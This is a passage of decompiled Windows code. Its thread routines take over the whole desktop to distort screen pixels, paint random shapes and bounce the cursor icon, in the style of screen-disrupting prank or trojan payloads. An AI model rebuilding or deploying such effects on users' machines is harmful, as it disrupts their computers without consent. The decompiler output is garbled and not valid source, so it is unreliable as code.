v274 = edi309;
v276 = g417280;
v278 = g417284;
ebx305(ecx124, edi309, 1, 0, v278, v276, v274, 0, 0, 0x922222, edi309, eax318,
eax317, 0);
v285 = reinterpret_cast<void**>(0);
v287 = edi309;
v288 = g417280;
v289 = g417284;
ebx305(ecx124, edi309, 0, 1, v289, v288, v287, 0, 0, 0x922222, edi309, 1, 0, v278,
v276, v274, 0, 0, 0x922222, edi309, eax318, eax317, 0);
v290 = edi309;
v319 = g417280;
v291 = g417284;
v292 = reinterpret_cast<void**>(0xff);
v293 = edi309;
ebx305(ecx124, v293, 0xff, 0, v291, v319, v290, 0, 0, 0x922222, edi309, 0, 1, v289,
v288, v287, 0, 0, 0x922222, edi309, 1, 0, v278, v276, v274, 0, 0, 0x922222, edi309, eax318,
eax317, 0);
v294 = reinterpret_cast<void**>(0x922222);
v295 = reinterpret_cast<void**>(0);
v320 = edi309;
v321 = g417280;
v322 = g417284;
ebx305(ecx124);
v323 = reinterpret_cast<void**>(0);
ReleaseDC(ecx124, 0, edi309);
v324 = reinterpret_cast<void**>(10);
Sleep(ecx124, 10, 0, edi309);
esp313 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp313) - 4 - 4 + 4 - 4 +
4-4-4+4-4-4-4+4-4-4-4-4-4-4-4-4-4-4+4-4-4-4-4-4-4-4-4-4-4
+4-4-4-4-4-4-4-4-4-4-4+4-4-4-4-4-4-4-4-4-4-4+4-4-4-4+4-4-
4 + 4);
esi308 = esi308 + 5;
} while (reinterpret_cast<signed char>(esi308) < reinterpret_cast<signed char>(0x163));
v325 = reinterpret_cast<void**>(0x40231b);
eax326 = fun_401580(ecx124, 10, 0, edi309, edi309, 0, 0xff, v322, v321, v320, 0, 0,
0x922222, v293, 0xff, 0, v291, v319, v290, 0, 0, 0x922222, edi309, 0, 1, v289, v288, v287, 0, 0,
0x922222, edi309, 1, 0, v278, v276, v274, 0, 0, 0x922222, edi309, eax318, eax317, 0, v304,
v303, ecx124, 10, 0, edi309, edi309, 0, 0xff, v322, v321, v320, 0, 0, 0x922222, v293, 0xff, 0,
v291, v319, v290, 0, 0, 0x922222, edi309, 0, 1, v289, v288, v287, 0, 0, 0x922222, edi309, 1, 0,
v278, v276, v274, 0, 0, 0x922222, edi309, eax318, eax317, 0, v304, v303);
esp313 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp313) - 4 + 4);
cf327 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax326) <
reinterpret_cast<unsigned char>(edi309));
less_or_equal328 = reinterpret_cast<signed char>(edx314) <= reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf327))));
cf329 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx314) <
reinterpret_cast<unsigned char>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(static_cast<uint32_t>(cf327)))));
edx314 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx314) - cf329);
} while (reinterpret_cast<signed char>(edx314) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf329)))) ||
less_or_equal328 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax326) - reinterpret_cast<unsigned char>(edi309)) < reinterpret_cast<unsigned
char>(0xff));
}
ExitThread(ecx124, 0);
esp330 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp313) - 4 - 4 + 4 - 4);
v331 = ebp301;
ebp332 = esp330;
eax333 = g416004;
v334 = reinterpret_cast<void**>(eax333 ^ reinterpret_cast<unsigned char>(ebp332));
eax335 = g417284;
__asm__("xorps xmm0, xmm0");
v336 = eax335;
eax337 = g417280;
v338 = eax337;
v339 = ebx305;
v340 = esi308;
v341 = edi309;
ebx342 = *reinterpret_cast<void***>(v304 + 12);
__asm__("movups [ebp-0x20], xmm0");
__asm__("movq [ebp-0x10], xmm0");
v343 = ebx342;
eax344 = fun_401580(ecx124, v341, v340, v339, v343, v289, v288, v287, v285, 0, 40, v336,
v338, 0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310,
v311, v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144,
v168, v142, ecx124, v341, v340, v339, v343, v289, v288, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168,
v142);
esi345 = eax344;
edi346 = edx314;
v347 = esi345;
v348 = edi346;
eax349 = fun_401580(ecx124, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336,
v338, 0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310,
v311, v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144,
v168, v142, ecx124, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168,
v142);
esp350 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp330 - 72) - 4 - 4 - 4 - 4 + 4 -
4 + 4);
edx351 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx314) -
(reinterpret_cast<unsigned char>(edi346) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx314) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi346) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax349) < reinterpret_cast<unsigned
char>(esi345))))));
less352 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx351) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less352 | reinterpret_cast<uint1_t>(edx351 == 0)) && (less352 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax349) -
reinterpret_cast<unsigned char>(esi345)) < reinterpret_cast<unsigned char>(ebx342))) {
edi346 = BitBlt;
do {
eax353 = reinterpret_cast<void**>(GetDC(ecx124, 0));
ebx342 = eax353;
v354 = ebx342;
eax355 = reinterpret_cast<void**>(CreateCompatibleDC(ecx124, v354, 0));
v290 = reinterpret_cast<void**>(0);
esi345 = eax355;
v291 = ebp332 + 0xffffffcc;
v285 = esi345;
v292 = ebp332 + 0xffffffd0;
v293 = ebx342;
eax356 = reinterpret_cast<void**>(CreateDIBSection(ecx124, v293, v292, 0, v291, 0, 0,
v354, 0));
v294 = eax356;
v295 = esi345;
v287 = eax356;
SelectObject(ecx124, v295, v294, v293, v292, 0, v291, 0, 0, v354, 0);
v320 = reinterpret_cast<void**>(0);
v357 = ebx342;
v358 = g417280;
v359 = g417284;
v323 = esi345;
edi346(ecx124, v323, 0, 0, v359, v358, v357, 0);
esp360 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp350) - 4 - 4 + 4 - 4 - 4 +
4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4);
eax361 = g417280;
ecx124 = g417284;
edi362 = reinterpret_cast<unsigned char>(eax361) * reinterpret_cast<unsigned
char>(ecx124);
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<int32_t>(edi362) <
reinterpret_cast<int32_t>(0)) | reinterpret_cast<uint1_t>(edi362 == 0))) {
eax363 = 0;
do {
eax363 = eax363 + 3;
*reinterpret_cast<signed char*>(eax363 - 1) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(eax363 - 1) + reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(eax363 - 1) + *reinterpret_cast<signed char*>(eax363 -
1)));
*reinterpret_cast<signed char*>(eax363 - 2) = 0;
*reinterpret_cast<signed char*>(&edx351) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(eax363 - 3) + *reinterpret_cast<signed char*>(eax363 -
3));
*reinterpret_cast<signed char*>(eax363 - 3) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(eax363 - 3) + *reinterpret_cast<signed
char*>(&edx351));
--edi362;
} while (edi362);
esi345 = v285;
eax361 = g417280;
ecx124 = g417284;
}
edi346 = BitBlt;
v324 = reinterpret_cast<void**>(0xcc0020);
v325 = reinterpret_cast<void**>(0);
v364 = reinterpret_cast<void**>(0);
v365 = esi345;
v366 = ecx124;
v367 = reinterpret_cast<void**>(0);
edi346(ebx342, 0, 0, v366, eax361, v365, 0);
ReleaseDC(0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0);
DeleteDC(esi345, 0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0);
DeleteObject(v287, esi345, 0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0);
Sleep(100, v287, esi345, 0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0);
eax368 = fun_401580(ecx124, 100, v287, esi345, 0, ebx342, ebx342, 0, 0, v366,
eax361, v365, 0, 0, 0xcc0020, v323, 0, 0, v359, v358, v357, 0, 0, 0xcc0020, v295, v294, v293,
v292, 0, v291, 0, 0, v354, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
ecx124, 100, v287, esi345, 0, ebx342, ebx342, 0, 0, v366, eax361, v365, 0, 0, 0xcc0020, v323,
0, 0, v359, v358, v357, 0, 0, 0xcc0020, v295, v294, v293, v292, 0, v291, 0, 0, v354, 0, v341,
v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338);
esp350 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp360) - 4 - 4 - 4 - 4 - 4 -
4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf369 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax368) <
reinterpret_cast<unsigned char>(v347));
less_or_equal370 = reinterpret_cast<signed char>(edx351) <= reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v348) + cf369);
cf371 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx351) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v348) + cf369));
edx351 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx351) -
(reinterpret_cast<unsigned char>(v348) + cf371));
} while (reinterpret_cast<signed char>(edx351) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf371)))) ||
less_or_equal370 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax368) - reinterpret_cast<unsigned char>(v347)) < reinterpret_cast<unsigned
char>(v343));
}
ExitThread(ecx124, 0);
esp372 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp350) - 4 - 4 + 4 - 4);
v373 = ebp332;
ebp374 = esp372;
v375 = ebx342;
v376 = esi345;
v377 = edi346;
ebx378 = *reinterpret_cast<void***>(v341 + 12);
v379 = ebx378;
eax380 = fun_401580(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, 0, v291,
v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, 0, v291, v379, v290,
v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338, 0x180001, v278,
v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311, v306, v227);
esi381 = eax380;
edi382 = edx351;
v383 = esi381;
v384 = edi382;
eax385 = fun_401580(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384, v379,
v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338, 0x180001,
v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311, v306, v227);
esp386 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp372) & 0xfffffff8) - 36 -
4 - 4 - 4 - 4 + 4 - 4 + 4);
edx387 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx351) -
(reinterpret_cast<unsigned char>(edi382) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx351) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi382) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax385) < reinterpret_cast<unsigned
char>(esi381))))));
less388 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx387) <
reinterpret_cast<signed char>(0));
if (!reinterpret_cast<uint1_t>(less388 | reinterpret_cast<uint1_t>(edx387 == 0)))
goto addr_40265a_41;
if (less388) {
do {
addr_402520_43:
eax389 = fun_402cd0(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384,
v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300);
esi381 = g417284;
v294 = reinterpret_cast<void**>(eax389 % reinterpret_cast<unsigned char>(esi381));
eax390 = fun_402cd0(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384,
v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300);
edx391 = reinterpret_cast<void**>(eax390 % reinterpret_cast<unsigned
char>(g417280));
v295 = edx391;
eax392 = fun_402cd0(ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300, ecx124, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384,
v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304, v303, v302, v310, v311,
v306, v227, v300);
esp393 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp386) - 4 + 4 - 4 + 4 - 4
+ 4);
ebx378 = reinterpret_cast<void**>(0);
edi382 = reinterpret_cast<void**>(0);
v293 = reinterpret_cast<void**>(eax392 & 1);
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(esi381) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(esi381 == 0))) {
do {
eax394 = reinterpret_cast<void**>(GetDC(ecx124, 0));
v293 = eax394;
edx391 =
reinterpret_cast<void**>(-static_cast<uint32_t>(reinterpret_cast<unsigned char>(edi382)));
v395 = edi382;
v396 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v295) +
reinterpret_cast<unsigned char>(edi382));
esp397 = reinterpret_cast<void***>(reinterpret_cast<uint32_t>(esp393) - 4 - 4 + 4 -
4 - 4 - 4 - 4);
v398 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v295) -
reinterpret_cast<unsigned char>(edi382));
if (v294) {
eax399 = reinterpret_cast<void**>(CreateRectRgn(v398, edx391));
esp400 = reinterpret_cast<void*>(esp397 - 4 + 4);
} else {
eax399 = reinterpret_cast<void**>(CreateEllipticRgn(v398, edx391));
esp400 = reinterpret_cast<void*>(esp397 - 4 + 4);
}
esi381 = v320;
ebx378 = eax399;
SelectClipRgn(esi381, ebx378, v398, edx391);
eax401 = fun_402cf0(v396, esi381, ebx378, v398, edx391, v396, v395, 0, v377,
v376, v375, v396, esi381, ebx378, v398, edx391, v396, v395, 0, v377, v376, v375);
v365 = eax401;
eax402 = reinterpret_cast<int32_t>(CreateSolidBrush(v396, v365, esi381, ebx378,
v398, edx391));
v366 = esi381;
SelectObject(v396, v366, eax402, v365, esi381, ebx378, v398, edx391);
v367 = reinterpret_cast<void**>(0x922222);
v403 = g417280;
BitBlt(v396, esi381);
ecx124 = reinterpret_cast<void**>(0);
eax404 = v403 + 2;
if (reinterpret_cast<signed char>(eax404) < reinterpret_cast<signed char>(0x166))
{
ecx124 = eax404;
}
v405 = reinterpret_cast<void**>(0);
ReleaseDC(0, esi381, esi381);
v406 = reinterpret_cast<void**>(1);
v407 = reinterpret_cast<void**>(0x402604);
Sleep(1, 0, esi381, esi381);
esp393 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp400) - 4 - 4 - 4 + 4
- 4 + 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4);
edi382 = edi382 + 30;
less408 = reinterpret_cast<signed char>(edi382) < reinterpret_cast<signed
char>(g417284);
} while (less408);
}
DeleteObject(ecx124, ebx378);
Sleep(ecx124, 50, ebx378);
v323 = reinterpret_cast<void**>(0);
v324 = reinterpret_cast<void**>(0);
v325 = reinterpret_cast<void**>(0);
RedrawWindow(ecx124);
v364 = reinterpret_cast<void**>(0x402640);
eax409 = fun_401580(ecx124, 0, 0, 0, 0x85, 50, ebx378, v377, v376, v375, v320, 0,
v295, v294, v293, v292, v383, v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347,
v287, v285, 0, 40, v336, v338, 0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0,
v304, ecx124, 0, 0, 0, 0x85, 50, ebx378, v377, v376, v375, v320, 0, v295, v294, v293, v292,
v383, v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336,
v338, 0x180001, v278, v276, v274, v273, 0, v272, 0, v334, v331, 0, v304);
esp386 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp393) - 4 - 4 + 4 - 4 - 4 +
4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 + 4);
cf410 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax409) <
reinterpret_cast<unsigned char>(v320));
cf411 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx391) <
reinterpret_cast<unsigned char>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(static_cast<uint32_t>(cf410)))));
edx387 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx391) - cf411);
} while (reinterpret_cast<signed char>(edx387) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf411)))) ||
reinterpret_cast<signed char>(edx391) <= reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf410)))) &&
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax409) -
reinterpret_cast<unsigned char>(v320)) < reinterpret_cast<unsigned char>(v295));
goto addr_40265a_41;
} else {
if (reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax385) -
reinterpret_cast<unsigned char>(esi381)) >= reinterpret_cast<unsigned char>(ebx378)) {
addr_40265a_41:
ExitThread(ecx124, 0);
esp412 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp386) - 4 - 4 + 4 - 4);
v413 = ebp374;
ebp414 = esp412;
eax415 = g416004;
v416 = reinterpret_cast<void**>(eax415 ^ reinterpret_cast<unsigned char>(ebp414));
v417 = ebx378;
ebx418 = reinterpret_cast<void**>(2);
v419 = reinterpret_cast<void**>(0);
v420 = esi381;
eax421 = *reinterpret_cast<void***>(v377 + 12);
v422 = edi382;
edi423 = reinterpret_cast<void**>(0);
v424 = eax421;
esi425 = reinterpret_cast<void**>(3);
eax426 = fun_401580(ecx124, v422, v420, v417, v424, 0, v367, v366, 0, v365, v364,
v325, v324, v323, v416, v413, 0, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, ecx124, v422, v420, v417, v424, 0, v367, v366, 0, v365, v364, v325, v324,
v323, v416, v413, 0, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384, v379,
v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338, 0x180001,
v278);
v427 = eax426;
v428 = edx387;
eax429 = fun_401580(ecx124, v422, v420, v417, v424, v428, v427, v366, 0, v365, v364,
v325, v324, v323, v416, v413, 0, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383,
v384, v379, v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338,
0x180001, v278, ecx124, v422, v420, v417, v424, v428, v427, v366, 0, v365, v364, v325, v324,
v323, v416, v413, 0, v377, v376, v375, v320, 0, v295, v294, v293, v292, v383, v384, v379,
v290, v373, 0, v341, v340, v339, v343, v348, v347, v287, v285, 0, 40, v336, v338, 0x180001,
v278);
esp430 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp412 - 44) - 4 - 4 - 4 - 4
+ 4 - 4 + 4);
edx431 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx387) -
(reinterpret_cast<unsigned char>(v428) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned
char>(edx387) < reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v428) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax429) < reinterpret_cast<unsigned
char>(v427))))));
less432 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx431) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less432 | reinterpret_cast<uint1_t>(edx431 == 0)) &&
(less432 || reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax429) -
reinterpret_cast<unsigned char>(v427)) < reinterpret_cast<unsigned char>(v424))) {
do {
eax433 = reinterpret_cast<void**>(GetDC(ecx124, 0));
v366 = eax433;
v434 = ebp414 + 0xffffffe8;
v365 = reinterpret_cast<void**>(20);
GetCursorInfo(ecx124, v434, 0);
v435 = edi423;
v405 = v419;
v406 = v366;
DrawIcon(ecx124, v406, v405, v435, v325, v434, 0);
edi423 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi423) +
reinterpret_cast<unsigned char>(esi425));
eax436 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v419) +
reinterpret_cast<unsigned char>(ebx418));
v419 = eax436;
if (reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(eax436) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(eax436 == 0) || (less437 =
reinterpret_cast<signed char>(eax436) < reinterpret_cast<signed char>(g417284), !less437)) {
ebx418 = reinterpret_cast<void**>(-reinterpret_cast<unsigned char>(ebx418));
}
if (reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edi423) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(edi423 == 0) || (less438 =
reinterpret_cast<signed char>(edi423) < reinterpret_cast<signed char>(g417280), !less438)) {
esi425 = reinterpret_cast<void**>(-reinterpret_cast<unsigned char>(esi425));
}
v407 = v366;
ReleaseDC(ecx124, 0, v407, v406, v405, v435, v325, v434, 0);
Sleep(ecx124, 1, 0, v407, v406, v405, v435, v325, v434, 0);
eax439 = fun_401580(ecx124, 1, 0, v407, v406, v405, v435, v325, v434, 0, v422,
v420, v417, v424, v428, v427, v366, v419, 20, v364, v325, v324, v323, v416, v413, 0, v377,
v376, v375, v320, 0, v295, v294, v293, v292, v383, v384, v379, v290, v373, 0, v341, v340,
v339, v343, v348, ecx124, 1, 0, v407, v406, v405, v435, v325, v434, 0, v422, v420, v417, v424,
v428, v427, v366, v419, 20, v364, v325, v324, v323, v416, v413, 0, v377, v376, v375, v320, 0,
v295, v294, v293, v292, v383, v384, v379, v290, v373, 0, v341, v340, v339, v343, v348);
esp430 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp430) - 4 - 4 + 4 - 4
- 4 + 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf440 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax439) <
reinterpret_cast<unsigned char>(v427));
less_or_equal441 = reinterpret_cast<signed char>(edx431) <=
reinterpret_cast<signed char>(reinterpret_cast<unsigned char>(v428) + cf440);
cf442 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx431) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v428) + cf440));
edx431 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx431) -
(reinterpret_cast<unsigned char>(v428) + cf442));
} while (reinterpret_cast<signed char>(edx431) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf442)))) ||
less_or_equal441 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax439) - reinterpret_cast<unsigned char>(v427)) < reinterpret_cast<unsigned
char>(v424));
}
} else {
goto addr_402520_43;
}
}
ExitThread(ecx124, 0);
esp443 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp430) - 4 - 4 + 4 - 4);
v444 = ebp414;
ebp445 = esp443;
esp446 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp443) & 0xfffffff8) - 92);
eax447 = g416004;
v448 = reinterpret_cast<void**>(eax447 ^ reinterpret_cast<uint32_t>(esp446));
eax449 = g417284;
__asm__("xorps xmm0, xmm0");
v450 = eax449;
eax451 = g417280;
v452 = eax451;
v453 = ebx418;
v454 = esi425;
v455 = edi423;
ebx456 = *reinterpret_cast<void***>(v422 + 12);
__asm__("movups [esp+0x48], xmm0");
__asm__("movq [esp+0x58], xmm0");
v457 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(edi423) = *reinterpret_cast<void***>(esi425);
v458 = ebx456;
eax477 = fun_401580(ecx124, v455, v454, v453, 0, v459, v460, v461, v462, v463, v458,
v464, v465, v466, v467, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448,
v444, 0, v422, v420, v417, v424, v428, v427, v366, v419, v365, v364, v325, v324, v323, v416,
v413, 0, v377, ecx124, v455, v454, v453, 0, v468, v469, v470, v471, v472, v458, v473, v474,
v475, v476, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0,
v422, v420, v417, v424, v428, v427, v366, v419, v365, v364, v325, v324, v323, v416, v413, 0,
v377);
esi478 = eax477;
edi479 = edx431;
v480 = esi478;
v481 = edi479;
eax496 = fun_401580(ecx124, v455, v454, v453, 0, v482, v483, v484, v480, v481, v458,
v485, v486, v487, v488, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448,
v444, 0, v422, v420, v417, v424, v428, v427, v366, v419, v365, v364, v325, v324, v323, v416,
v413, 0, v377, ecx124, v455, v454, v453, 0, v489, v490, v491, v480, v481, v458, v492, v493,
v494, v495, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0,
v422, v420, v417, v424, v428, v427, v366, v419, v365, v364, v325, v324, v323, v416, v413, 0,
v377);
esp497 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp446) - 4 - 4 - 4 - 4 + 4 - 4 +
4);
edx498 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx431) -
(reinterpret_cast<unsigned char>(edi479) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx431) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi479) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax496) < reinterpret_cast<unsigned
char>(esi478))))));
less499 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx498) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less499 | reinterpret_cast<uint1_t>(edx498 == 0)) && (less499 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax496) -
reinterpret_cast<unsigned char>(esi478)) < reinterpret_cast<unsigned char>(ebx456))) {
do {
eax500 = reinterpret_cast<void**>(GetDC(ecx124, 0));
esi501 = eax500;
eax502 = reinterpret_cast<void**>(CreateCompatibleDC(ecx124, esi501, 0));
esp503 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp497) - 4 - 4 + 4 - 4 - 4 +
4 - 4);
v504 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp503) + 56);
